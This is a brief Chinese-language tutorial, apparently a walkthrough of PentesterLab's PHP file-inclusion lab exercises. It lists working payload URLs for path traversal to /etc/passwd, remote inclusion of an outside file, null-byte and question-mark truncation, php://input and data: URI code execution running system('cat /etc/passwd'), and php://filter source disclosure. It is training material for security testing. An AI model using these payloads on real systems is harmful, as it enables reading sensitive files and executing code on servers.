Example 1
輸入單引號,報錯,得到物理路徑
可通過../../../../etc/paaswd 讀取敏感信息
可包含本地文件或遠程文件
https://assets.pentesterlab.com/test_include.txt
Example 2
加單引號,報錯,可發現獲取到的參數后面會加上.php后綴
通過%00截斷后面字符
http://192.168.106.154/fileincl/example2.php?page=https://assets.pentesterlab.com/test_include.txt%00
文件包含截斷技巧:
1、%00截截斷
2、文件路徑長度截斷
3、截斷遠程包含 問號截斷法 url的話就可以隨意發揮了,把不想要的扔到參數里面就好了,非常簡單
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?id=
或者直接 http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?
1、將文件包含漏洞變成代碼執行漏洞
php://input <?php phpinfo();?>
2、通過data URI schema
http://192.168.106.154/fileincl/example1.php?page=data:text/plain,<?php system('cat /etc/passwd')?>
http://192.168.106.154/fileincl/example1.php?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
3、通過php://filter讀取源碼
http://192.168.106.154/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=intro.php
base64解碼
最后
歡迎關注個人微信公眾號:Bypass--,每周一篇原創高質量的干貨。
參考文章:
文件包含漏洞小結 http://www.cnblogs.com/iamstudy/articles/include_file.html
php://input,php://filter,data URI schema的那些事 http://www.cnblogs.com/qing123/p/4513870.html
截斷在文件包含和上傳中的利用 http://www.joychou.org/index.php/web/truncated.html
PHP文件包含漏洞總結 https://www.secpulse.com/archives/3206.html
盤點那些滲透測試中的奇淫技巧 https://bbs.ichunqiu.com/thread-14031-1-1.html